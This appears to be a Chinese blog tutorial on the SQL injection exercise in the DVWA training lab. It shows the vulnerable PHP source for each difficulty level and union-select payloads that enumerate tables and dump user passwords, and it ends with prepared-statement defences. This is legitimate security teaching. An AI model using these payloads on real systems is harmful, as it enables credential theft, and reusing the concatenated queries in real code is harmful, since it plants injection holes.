当前位置: 首页 > news >正文

web基础—dvwa靶场(七)SQL Injection

SQL Injection(SQL注入)

SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
SQL 注入是一种注入攻击,在这种攻击中 SQL 命令被注入到数据平面的输入中,以此影响预定义的 SQL 命令的执行,这种攻击也可以称为 “SQLi”。
数据库中有 5 个用户,id 从 1 到 5,你的任务是通过 SQLi 窃取他们的密码。

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

SQL Injection主题:

Low

源码解析

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input
//获取ID字段$id = $_REQUEST[ 'id' ];// Check database
//拼接SQL语句并查询$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>

漏洞复现

(1)首先找到注入点,判断注入的类型

1
1\
1' #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1' order by 5 #
1' order by 3 #
1' order by 2 #

 (3)显示报错位

1' union select 1,2 #

 (4)查找库名

1' union select 1,database() #

 (5)查找当前数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1' union select group_concat(user),group_concat(password) from users #

Medium

源码解析

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];//user中x00,n,r,,’,”,x1a转义,防SQL注入$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);?>

漏洞复现

  GET提交方式改成了POST提交方式,还使用了转义预防SQL注入。

(1)判断注入点,判断注入类型

1
1 \
1 #

 (2)使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1 order by 5 #
1 order by 3 #
1 order by 2 #

(3)显示报错位

1 union select 1,2 #

 (4)查找库名

1 union select 1,database() #

 (5)查找当前数据库中的表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

 (6)查找表users中的字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

 (7)查找数据

1 union select group_concat(user),group_concat(password) from users #

High

源码解析

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database
//【select * from tableName limit i,n 】
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
查询第一条数据
select * from student limit 1
查询第二条数据
select * from student limit 1,1$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}?>

漏洞复现

  high 级别使用了session 获取id 值,闭合方式单引号闭合。

(1)代码与LOW级别的都一样

1' union select group_concat(user),group_concat(password) from users #

Impossible

源码解析

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
漏洞复现

  CSRF、检测 id 是否是数字。  prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

        Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。同时当返回的查询结果数量为一时才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。

总结与防御

SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数;
  3. 确定显示的字段顺序;
  4. 获取当前数据库;
  5. 获取数据库中的表;
  6. 获取表中的字段名;
  7. 下载数据。

当开发者需要防御 SQL 注入攻击时,可以采用以下方法。

  1. 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
  2. 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 深度deepin初体验(一)系统详细安装过程 | 国产系统
  • patch 命令:补丁的应用
  • SpringBoot+Aop+注解方式 实现多数据源动态切换
  • [游戏技术]L4D服务器报错解决
  • 31省市农业地图大数据
  • 开源RK3588 AI Module7,并与Jetson Nano生态兼容的低功耗AI模块
  • Django学习实战篇四(适合略有基础的新手小白学习)(从0开发项目)
  • 零工市场小程序:推动零工市场建设
  • MySQL Performance Schema 详解及运行时配置优化
  • 计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-20
  • Nginx 反向代理
  • 随手记:前端一些定位bug的方法
  • 大语言模型量化方法GPTQ、GGUF、AWQ详细原理
  • 全栈开发(一):springBoot3+mysql初始化
  • 邮件发送高级功能详解:HTML格式、附件添加与SSL/TLS加密连接
  • Babel配置的不完全指南
  • Docker 笔记(1):介绍、镜像、容器及其基本操作
  • Electron入门介绍
  • Lsb图片隐写
  • PHP的类修饰符与访问修饰符
  • Python利用正则抓取网页内容保存到本地
  • Rancher-k8s加速安装文档
  • Spring Boot MyBatis配置多种数据库
  • Windows Containers 大冒险: 容器网络
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 动态规划入门(以爬楼梯为例)
  • 关于Android中设置闹钟的相对比较完善的解决方案
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 学习ES6 变量的解构赋值
  • ionic异常记录
  • ​​​​​​​开发面试“八股文”:助力还是阻力?
  • ​力扣解法汇总1802. 有界数组中指定下标处的最大值
  • #13 yum、编译安装与sed命令的使用
  • #define 用法
  • #我与Java虚拟机的故事#连载09:面试大厂逃不过的JVM
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • ${ }的特别功能
  • $HTTP_POST_VARS['']和$_POST['']的区别
  • $jQuery 重写Alert样式方法
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (Java企业 / 公司项目)点赞业务系统设计-批量查询点赞状态(二)
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (不用互三)AI绘画:科技赋能艺术的崭新时代
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (求助)用傲游上csdn博客时标签栏和网址栏一直显示袁萌 的头像
  • (十一)手动添加用户和文件的特殊权限
  • (算法)Game
  • (学习日记)2024.01.19
  • (转)C#调用WebService 基础
  • (转)为C# Windows服务添加安装程序
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • .bat批处理(三):变量声明、设置、拼接、截取
  • .bat文件调用java类的main方法
  • .JPG图片,各种压缩率下的文件尺寸
  • .NET 将混合了多个不同平台(Windows Mac Linux)的文件 目录的路径格式化成同一个平台下的路径